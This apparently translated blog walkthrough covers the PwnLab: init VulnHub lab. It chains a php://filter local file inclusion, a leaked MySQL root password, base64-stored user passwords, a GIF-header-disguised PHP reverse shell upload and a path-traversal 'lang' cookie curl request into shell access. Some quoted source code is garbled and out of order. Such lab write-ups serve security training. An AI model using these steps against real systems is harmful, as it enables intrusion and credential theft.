Code Auditing_File Upload and File Containing Vulnerabilities&&PwnLab

Table of contents

foreword

environmental source

PHP wrapper to get source code

login.php source code

upload source code

config.php source code

index.php source code

File contains exploit

log in page

Upload Trojan file GIF

The file contains the execution of the php rebound shell


foreword

Knowledge points involved

  • code audit

  • PHP wrapper

  • getimagesize file header detection

  • File Upload Combined with File Inclusion Vulnerabilities

  • cookie configuration injection

environmental source

vulnhub靶机PwnLab : init ~ VulnHub

In port scanning, it is found that the host has opened http service and mysql service

Attempt to scan the website's directory

┌──(root���kali)-[~/pg/PwnLab]

└─# python3 /root/dirsearch/dirsearch.py -e* -u http://192.168.56.117 -t 30

|. _ _ _ _ _ _| v0.4.2

(||| _) (/(|| (| )

Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30 | Wordlist size: 15492

Output File: /root/dirsearch/reports/192.168.151.29/_22-01-17_07-55-55.txt

Error Log: /root/dirsearch/logs/errors-22-01-17_07-55-55.log

Target: http://192.168.56.117/

[07:55:55] Starting:

[07:57:33] 200 - 0B - /config.php

[07:57:59] 200 - 943B - /images/

[07:57:59] 301 - 317B - /images -> http://192.168.56.117/images/

[07:58:02] 200 - 332B - /index.php/login/

[07:58:02] 200 - 332B - /index.php

[07:58:09] 200 - 250B - /login.php

[07:58:59] 301 - 317B - /upload -> http://192.168.56.117/upload/

[07:59:00] 200 - 19B - /upload.php

[07:59:00] 200 - 743B - /upload/

Found in directory scan

Four files config.php, index.php, upload.php, login.php

Two folders images and upload

PHP wrapper to get source code

Observe the format of the home page url

http://192.168.56.117/?page=

 

Boldly guess that login.php is included here

use

http://192.168.151.29/?page=upload

http://192.168.151.29/?page=index

http://192.168.151.29/?page=config

verify our conjecture

The page returns without errors. There is a high probability of PHP file execution. We need the PHP pseudo-protocol to read the source code to prevent automatic parsing.

php://filter/read=convert.base64-encode/resource=login

Decode base64 to get the source code

login.php source code

<?php 
session_start(); 
require("config.php"); 
$mysqli = new mysqli($server, $username, $password, $database); 
​if
(isset($_POST['user']) and isset ($_POST['pass'])) 
{ 
    $luser = $_POST['user']; 
    $lpass = base64_encode($_POST['pass']);//Decode the pass of the database first 
$
    stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?"); 
    $stmt->bind_param('ss', $luser,$lpass); 
//Preprocessing + parameter binding is afraid that there is no sql injection 
    $stmt->execute(); 
    $stmt->store_Result(); 
​if
    ($stmt->num_rows == 1) 
    { 
        $_SESSION[ 'user'] = $luser;  
        header('Location: ?page=upload');//Successful login and jump to the upload page
    } 
    else 
    {
        echo "Login failed.";
    }
}
else
{
    ?>
    <form action="" method="POST">
    <label>Username: </label><input id="user" type="test" name="user"><br />
    <label>Password: </label><input id="pass" type="password" name="pass"><br />
    <input type="submit" name="submit" value="Login">
    </form>
    <?php
}

Note $lpass = base64_encode($_POST['pass']);

The code performs base64 encoding processing on the parameter pass passed in by the user, and then compares it with the database. It shows that the pass stored in the database is the encoded character.

http://192.168.151.29/?page=php://filter/convert.base64-encode/resource=upload

upload source code

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
   <body>
       <form action='' method='post' enctype='multipart/form-data'>
           <input type='file' name='file' id='file' />
           <input type='submit' name='submit' value='Upload'/>
       </form>
   </body>
</html>
<?php
if(isset($_POST['submit'])) {    if ($_FILES['file']['error'] <= 0) {        $filename  = $_FILES['file']['name'];        $filetype  = $_FILES['file']['type'];//获取上传文件的MIME类型,例如"image/jpeg"或"application/pdf"等        $uploaddir = 'upload/'; //upload directory name




       $file_ext = strrchr($filename, '.');//The last '.' character and all characters after it, that is, the file extension $
       imageinfo = getimagesize($_FILES['file']['tmp_name']) ;
//getimagesize() function, this function returns an array, which contains information such as the width, height and type of the uploaded image. Here, $_FILES['file']['tmp_name'] is the temporary file name of the uploaded file, the getimagesize() function will read the file and return its information $whitelist = array(".jpg",".jpeg
       " ,".gif",".png"); //Pre-use whitelist
       if (!(in_array($file_ext, $whitelist))) {//Comparison with whitelist, script files cannot be uploaded
           die('Not allowed extension, please upload images only.');
       }
​if
       (strpos($filetype,'image') === false) {//Whether the upload MIME type contains image No die die
           ('Error 001'); }
      

       if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo[ 'mime'] != 'image/png') {            die('Error 002');        }//Check again if the mimetype does not meet the whitelist gif jpeg jpg png will die ​if        (substr_count($filetype, '/')> 1){            die('Error 003');//the number of slash characters is greater than 1 error        } ​$        uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext ; //Rename the file name        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {            echo "<img src=\"".$uploadfile."\"><br />";        } else {            die('Error 4');        }    } }

















?>

http://192.168.151.29/?page=php://filter/convert.base64-encode/resource=config

config.php source code

<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

Obtain the login password of MySQLLog in to the database and view the login password

http://192.168.151.29/?page=php://filter/convert.base64-encode/resource=index

index.php source code

Look at index.php to study how the file inclusion is generated

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br /> 
    else
    }
Is there any way not to add php??
        include($_GET['page'].".php");/ The reason for the / file is to automatically add php at the end.
    {
    if (isset($_GET['page']))
<?php
<hr/><br/>
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload ">Upload</a> ]
    {
        echo "Use this server to upload and share image files inside the intranet";
    }
?>
</center>
</body>
</html>

Pay attention to this code

if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}

This block of PHP code checks if a cookie named 'lang' is set and includes the corresponding language file based on the value of the cookie. Specifically, it uses PHP's isset() function to check if the 'lang' key exists in the $COOKIE array. If present, the code block will include a file named $COOKIE['lang'] using the include() function, which should be in the 'lang/' directory. This file may contain constants, variables, functions or classes related to the selected language.

File contains exploit

log in page

In the port scan, we found that the host has opened port 3306, and the corresponding fingerprint message is also mysql. This also means we can log into mysql remotely

In config.php, we obtained the MySQL login password, now log in to the database to view the page login password.

mysql -h 192.168.137.241 -uroot -p

(Enter password: H4u%QJ_H99)

show databases;//query the current database

use Users;//Enter the Users library

show tables;//display all tables

select * from Users.users;//Query the users table under the Users library

Got the news

MySQL [Users]> select * from Users.users;

+------+------------------+

| user | pass |

+------+------------------+

| kent | Sld6WHVCSkpOeQ== |

| mike | U0lmZHNURW42SQ== |

| kane | aVN2NVltMkdSbw== |

+------+------------------+

But the pass content here is not the real password. Remember how the login.php source code handles the pass field? It does base64_encode first, and then compares it with the database.

This means that we have to base64_decode Sld6WHVCSkpOeQ== before the real password

echo -n Sld6WHVCSkpOeQ== | base64 -d

 

Use account kent password JWzXuBJJNy login page

 

 

Upload Trojan file GIF

Upload a file with a suffix of jpg, which contains a rebound shell

I am uploading a jpg Trojan file and it fails. The page returns Error 002

It should be that this code $imageinfo['mime'] did not pass the test

...
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
...
​
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
            die('Error 002');
        }

I may not really understand the nature of getimagesize, maybe the information it extracts does not come from the http header but extracts information from the file itself. Check the official manual

PHP: getimagesize - Manual

I plan to test it locally to see what type of data getimagesize returns. How to construct Trojan pictures to bypass imageinfo

<?php
$imageinfo = getimagesize("shell.jpg");
var_dump($imageinfo);
?>

First test the normal jpg file

You can see that int(3) is the corresponding key mime and its value is image/jpeg

Next, we will modify the jpg in various ways, the purpose is to nest the php code into it. But all failed! some getimagesize fails

 

Some can be uploaded successfully, but the subsequent files contain reverse shells and are not executed.

Through testing, I found that GIf plus header files can bypass getimagesize, the specific steps are as follows

Find the rebound shell suffix named .gif

The position of the first row plus GIF87a

In this way, mime:image/gif may be displayed normally when testing getimagesize

In this way, Trojan files can be uploaded normally.

The file contains the execution of the php rebound shell

Find the path name after the file is uploaded (view source code)

Change the cookie, send the request, listen to the port and wait for the rebound shell

┌──(root���kali)-[~/pg/PwnLab]

└─# curl -v --cookie "lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif" http://192.168.137.151/index.php

 

 Successfully got the host shell

Guess you like

Origin blog.csdn.net/shelter1234567/article/details/131265827